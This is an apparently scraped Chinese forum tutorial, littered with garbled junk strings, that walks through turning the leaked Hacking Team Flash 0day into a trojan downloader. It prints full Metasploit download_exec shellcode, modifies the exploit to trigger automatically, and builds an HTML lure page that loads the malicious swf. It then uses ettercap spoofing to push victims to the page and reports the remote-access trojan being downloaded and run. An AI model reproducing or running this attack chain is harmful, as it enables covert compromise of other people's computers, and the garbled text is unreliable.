|
2 \8 m. l5 w6 f. f+ \2 x
三、flash 0day之手工代码修改制作下载者实例入侵演示
9 J! L" O, r8 ]* w; Q- U 4 h& d- u; A6 m) d6 m. D( k
; z+ ~; Y- j6 ?6 L+ X' B
利用到的工具: $ k8 O4 ^6 {4 O
( h5 F9 g/ {( c" U8 A* v6 ^
3 u8 Z3 I, i( l; R+ Y: ^1 v Msf
2 I x$ N( B9 u+ q , X- Y6 A2 V" g+ [) p
! J) c# [, q: F: M* n' |
Ettercap
3 ]& I; i K$ R/ R
4 ]2 r# C$ B1 H5 ]7 s5 @/ h$ Z- P+ F8 q- e9 R
Adobe Flash CS6 . @4 i7 s X% G3 K
7 D7 q! T$ f& u P( ~, O _/ ]2 w# i; {8 \1 x
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
% C7 x" y$ w7 G/ [" M7 \
$ L$ j% v: p. o3 W, ~& N/ l9 v' U! `
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options ; R9 [# c9 j3 C; z
% t- x9 n9 m. u6 T
/ t& O/ V& d2 I( f: |( C- g 如图: $ l7 a! @' {2 v
( t4 i- t$ h/ j B! T* [
7 h* b3 h7 z* U# [3 m) G 4 C7 y6 z6 M( K( u
1 z: f/ o7 X3 w2 x7 ~5 o7 `4 h" T( T- @$ A* ~& W, O$ W0 y
' S7 @ r! S1 |* u
& T* Q7 R9 V# d/ [
! Q! x: N) C* E: \9 f 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
7 l, {8 s1 I7 h
# s6 P9 M1 \" ]) g3 c4 i9 T; b0 g4 _3 b1 j) ]! ]
- z$ m' U4 M/ P% l' J5 ` % e4 P: ]3 o# j; S* V
- }1 K5 D! c |: Y# w2 M' O# x1 [
$ y7 v% t1 ]1 H; M
/ f3 j2 K! Z7 d/ ?4 C- E8 [
$ p/ q/ H$ Z+ U 然后执行generate -t dword生成shellcode,如下: % j( q1 [: S1 T7 h0 U U0 Y
: W% U( q8 ~- H7 W7 j0 G9 G; y$ f% `; C; r. ?" A$ z* ]& h
* Z5 F0 n( e! f" S( }
1 l( `$ i# ?% L; b9 y( D7 a! Y. @% G( ^! y7 d& z6 d
复制代码到文本下便于我们一会编辑flash exp,如下:
. f9 u3 g5 T& D& c- ]* Z& V
- h8 ^" \7 {: N* B0 N; D5 y) O4 L5 w9 n- J$ F4 u+ K+ z
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
2 b3 ]" c5 Y$ \0 b) Z* K* h ! t) S# u L# V
9 R: s% y! b; e# l! ]
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, }, K( V3 @( l, s
( I4 }6 N, {; j/ X
2 e& S0 g* m! X- {3 y3 U& K) K 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
, T2 n0 U3 e. Z* t+ E
! L- |& @8 O4 ~% b0 }, m' T0 @5 q% `5 e% h( F: C7 m( e/ ^' I
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
# K6 V, m( u. V: {2 D' p
6 J2 Y- j7 @- ?$ r* Q& T
- `. j# ^) A H4 b+ B+ h3 B 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
. e: @7 ?% J3 r2 Y" M6 x) V 9 n C x4 h& U% f0 @3 p
* y% l$ t( \4 U1 a* e+ H4 n) M5 n: Q
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
! U! R9 @5 C* v! _
+ \# T! d0 t9 Z
8 x+ R3 q. s1 m _ 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
3 R, V N; h3 L' c7 K1 V
) [1 D+ [" W) l2 l7 J# ]0 w$ a( X* U
* a- l! I1 b5 X+ T9 ~& k 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
7 n5 x8 j' C9 N* ]& h
" A0 f% a9 D8 n4 ? X/ [ h% c4 n' u; I d* ~' u0 F
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, + d$ d2 b `- s" m% }
' ^% ^! d7 _$ Z! b$ r* p$ @
# a4 g3 Z' H$ E1 Q, q: ^ u 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
' M S" I( k% e* y8 J' I
, Q' B% w- a% g5 z5 h6 ]. z- c, j b. p" T/ s. I& M5 a; `
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
) y3 @+ @1 q9 c4 j0 V! O
% r }; k* W& u3 i1 b7 h- [) P8 Y# d( e
* b7 H, r1 B$ f$ u6 r 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, ( P8 }/ ^9 X2 f- M
v( ~, a9 J5 [/ a$ y* b7 J
: s/ ^6 H( R7 _# Z 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
2 Y! O | @/ Z3 j" V
; k3 L$ f( ]) R# E* x3 o
; p8 R$ U8 Q n4 O 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
! ]0 f- g+ e7 d
& q1 D* q n- K
/ V1 U3 h4 R5 ]9 y1 f. Z: w Z5 |& N- z) d( _0 o7 Q2 q& A. k
X; f f; p- K6 [1 i6 O
: m) ?* Z4 h0 u1 ^8 V ( r6 Q8 J% ^ l1 ]
* \! n: v. Z* H7 L1 t
+ F& Y% \* f6 D" g5 p# P 下面我们来修改flash 0day exp,需要修改三个文件,分别为: " r: ?/ l2 F) G1 v' ?3 q; {. e
$ {4 K! p5 o- Z2 y
' H9 a# z( B: q; d$ h( N
; m* ]6 F* l6 Q3 p$ Q
1 @: i6 F: {1 @6 R; r( }
~$ x, _6 \/ s! y( I. D5 c 先修改ShellWin32.as,部分源代码如图:
7 r" a5 o8 h6 J- O4 {
0 e7 W8 p3 H% H- X: @$ V1 x8 Z9 E4 q7 l* b# A6 g3 c# f# Z: V
# w( b( d7 d- z" c3 q
* n8 T$ V% d3 x6 r
* ]5 D* {1 q6 ?5 c+ J3 Q6 Z5 C" \ 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
+ x9 f* m$ ^0 C
! m, d3 u# O4 s( M) q
* f- H ]- }# ]" D q4 w0 t4 u$ m ; ?. D) ~. w! P' p) w0 l }0 ?/ f
4 c5 H- r; K \2 O* k2 U6 w- V2 B$ ?" }$ M
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: : G! P2 O7 X* F& U8 ^7 `
, k; ?2 Z) m/ r! B) h; T n
2 b: z: y( `* g5 ?- @
- ~6 f9 g; {% b3 I
. f: A* \/ i5 W H3 b
; g& W- d* D4 ?8 k. b6 [7 ] 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
2 W2 X( [6 T4 Y' ^+ a, I" ` c7 B P& E C$ P- r) G5 ^* |3 U
% ?4 i1 `2 W6 Y+ K( v
9 y0 f7 l6 h% c8 b6 q$ p# ?; F6 o + u2 i) D4 y q3 b; \! W, G+ w
- h5 U1 w" N, U4 F, r3 ~ 3 f. R8 o( @0 C$ G
' E I1 [3 o8 |0 k) \, P+ ^7 M% Z
: i$ P }, Q; z9 E
6 }8 G1 r8 c7 Y& k V3 i
- j2 j( [/ B7 i0 j& F
+ o* J+ m+ N) Y' y
然后点保存,下面我们来编译一下,打开
2 r+ p7 I, Y7 F0 J: H- f, _0 i! f
3 m$ Q) Y U1 i9 T- H$ z- o3 [& Q+ w2 x& x( {9 v( ?9 ] S" V% ~' N- s
exp1.fla然后点文件-发布,看看编译没错误 7 }/ Q% q5 q1 W5 ~0 t5 v
: Q1 e# w- k8 h
3 A+ e2 O1 R8 Z+ f
]4 b- ~% N2 o/ n7 y; h$ y
+ [; _5 j+ z) ?. w6 s2 Q; R9 C. n) B+ U$ @. \: e
1 t5 p$ N4 D+ u4 Y! p4 u; @
! l5 a5 C3 T# m( Z
( y P6 t; H1 v' z! }2 ^3 e
" b4 u% J: Q" i$ s5 Q( c
0 }! _. l9 Q4 k$ d) \0 m6 P4 T4 p+ ~5 N* Z/ K, A3 H5 Q
% y: k; l0 y* Q8 e# b
% Y9 l4 b- }5 C- J. Q
8 @1 L! y2 n+ i/ H4 o7 j' I 然后我们把生成的
$ p3 U! y! q* W* o7 B
' d S3 B7 m" y) L3 S/ R' c- o1 n
; l: b9 o+ O# n4 ~; {6 b exp1.swf丢到kailinux 的/var/www/html下: + e) k9 R! l; g* N$ o! ^3 e
1 f. G5 |9 Q( S. g
8 v/ G9 }- L e. h/ Q* Z 然后把这段代码好好编辑一下
/ o; s/ k O, h4 K0 ]0 I - l7 J# i! P, l# [
- ?8 ?" V+ b" X$ E3 d/ ^0 X
* Z* h n+ z. I0 ]) _ 8 T. u7 M L" ~
: @, A, e" ?* v, j( v* ~$ A
7 y- p* C3 v' \) }3 \3 t- [3 ]$ g
) [ g Z: v% R
0 C, r0 C$ h9 K1 r
2 C7 l; A" X; a! e; D9 _$ ]* C
* t _ {6 b, V2 Z. o
8 m5 j9 \2 |: a5 Z) ]
# E' s7 s3 Q& l# D) Z ' L" p/ d& S8 O R8 V2 ?- @% }
, u, ?4 D: e |& p0 O
) i& | F$ R- p+ `- h; | * C: s. U9 c4 v6 [: E" _4 |/ m6 U
* H7 _7 a% A8 b
+ {3 W' W% a- V6 x i# z! ~
5 K# d* i' U9 k) ^; A, v. j3 F
( b3 W# ?9 N. x4 h0 r% M! N <!DOCTYPE html>
, Z4 z; t; K2 w3 T6 |5 G
h+ z- ?- k/ U `; `! [) `# a& Y' J
<html> ' O. x; k0 c9 n
V& J$ ^3 Q8 D7 d4 q' d9 u2 t R) ]( I# j* |
<head>
7 v; Q. P: \7 M$ f% |7 ^! X
0 _! U; e9 \! j) O( V# B5 ?
) K x8 @/ `2 M8 l2 b* q& O <meta http-equiv="Content-Type" content="text/html;
. C% S/ D+ w, `9 s2 @
$ y8 K/ f$ i( P j
5 U* Z+ A6 H; P% I: x" p/ U charset=utf-8"/>
* i& O+ e" K! W$ S5 x- d3 t * W% J' i& |1 q
/ `; h! V/ Z; | L& W
</head> ) g% ]# j' R' u) s% ?1 |& P" J
5 s7 T; [; ^; }* u, d7 F5 {% A
$ G- r+ Y6 ]- B* g$ O9 j
<body> % I% R2 ~4 {( n% _/ g: f
" i6 H9 X( u. K' }, ?. G* z( f; w
" L9 l a# q0 i9 Q9 [
<h2> Please wait, the requested page is loading...</h2>
7 u8 @$ ]( c0 m! w( ~) X
T9 |/ \: m9 y' I
' ]9 Z) L7 M& S; d% B4 G <br> 3 N% Z9 y7 S" @9 |* O! H( r0 i
& H. Y0 G+ Q. K; B3 v+ M4 j6 u( ]
$ t3 ]* u- e9 ]* _& [7 w
<OBJECT
& R1 w4 q" f- a( _& H0 d( q3 z3 H) g + K% d2 D, L( ~2 y- P# f
$ \9 t- d8 [% ^5 i z
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie / j4 W2 n' l4 u4 ?+ v
6 X! \% D/ C! E
8 h* @4 d4 v+ a& U% g
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
! f! Z+ M! B4 |) @
* U& k$ ^5 ^- `4 _- m
8 Z3 g, i3 w7 v- q: S( [5 x </body>
5 t; l4 u" t9 ~6 e6 W4 u( G
# K# T) w3 i6 F; P. Q6 X' L
) k- _6 i+ D# C% ]0 l3 G( R/ S; S <script>
6 W5 n) }, M" b5 w, O9 p
% E1 f( z$ x, A# W2 f' D! d1 @
setTimeout(function () { 9 S% D# p0 {0 u( t' P& A- [& S
% x" K) S8 y: Q/ h5 `) D
4 c# C5 W! Q0 X1 D ' ^8 s9 I& F; r4 P# f! j# h
4 `' M! q# {/ s+ n8 ~
7 f0 M( r% Z( ^# p1 v$ H4 T) j window.location.reload(); : R3 D, L* {% `6 r; M' R1 n
' n y- G. e3 b; l# `$ T/ a* T0 b$ f
}, 10000);
# d2 k0 ]1 K& ]* x/ F
# S1 G, j4 ~: A& Q4 i! \/ x3 P' p9 x' f1 `
4 t) b$ D7 t. r3 N3 O
0 w! X1 a! E5 M9 S; @. B* T
' T" C; `/ o, ?+ ~4 g! r9 [3 s: D1 ` </script> 2 _/ C! E/ F3 p4 \# {# H
" I* l8 l- y0 ?* \8 e$ J: T- \- [) X( }: I. R
</html> q4 }- L, i- ?! ]' A' N7 l' Z
6 V- g( W# |; j
3 |/ e9 T! I% a! o5 [0 X7 l7 }" M
6 y# q' M7 N4 n$ T+ K/ F d( O' M
; G, D4 i$ H* _4 I D
6 Y# Q4 o0 N- ^. K. D 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
- A3 R2 T) I- K! j) b, R ?* L1 ~" t& W2 u2 g6 }0 A) v
4 Z& {* \$ Y; L. ]
, B+ P' Z# Y, V& D8 ~1 x
7 t- L" ?; t% @8 _( B
, G0 B- T7 `# M1 P3 ^
9 W, I3 T# {# {% v0 Q $ N& o$ {% A8 p2 x2 P! l. K
' u3 E. O! J" }4 P- m' z3 J
( V; Z5 p# x) U6 Z" q7 j5 ]
/ l' K6 p- o" m! M; Y, B
& Z; k' f5 [$ T0 ?6 U2 K" w
9 c' ^# O! U. x5 S6 q7 U ' ]$ i- J- P% m/ o- [
- B& U8 e% u& |1 U$ u & s T/ t/ d$ H) ]6 I3 o
) p9 M- W! D5 Y+ |* `# s) p3 y/ b# L& i$ I# o
下面我们用ettercap欺骗如图:
i" P6 f3 h$ Q 2 `# ~5 }8 V0 j0 m% k3 X
5 m/ R. B u3 U# I 0 o" }' H% v+ d# J+ g2 p3 h* f
4 K1 a) y4 [5 ?) \1 j+ V+ R" F6 K* a; R5 p ^- p* W2 G8 n) l
$ p% w6 V% r& j2 }$ u- \. q- Z
8 N) Z) s" @2 a0 P% W* g0 e$ C2 t
5 P! S. K, F0 A/ O7 T Y 下面我们随便访问个网站看看: ' u& q! _3 q! `' k3 P
. W: }9 M0 o2 W# s, ]
) N& N4 r9 t s. \$ i 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: 4 ]% F& R$ F2 L; u7 C6 h
2 ]) [/ o- H5 H2 s: K [ k( `( `+ O& C! ~
8 s1 k- ~# J- r+ l% p8 J3 ~" b0 }
5 {/ i% _6 A) ]5 L% D
' `5 k" w, L9 V: f9 \ 我们看另一台, 6 L! `: J* W/ X/ G) t2 t6 G" W8 l
, I+ \, o/ Z3 I$ }$ V
5 t- N# [7 i% l% ~! U7 Q# u/ D 提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。 ( _& x* C* \$ |
|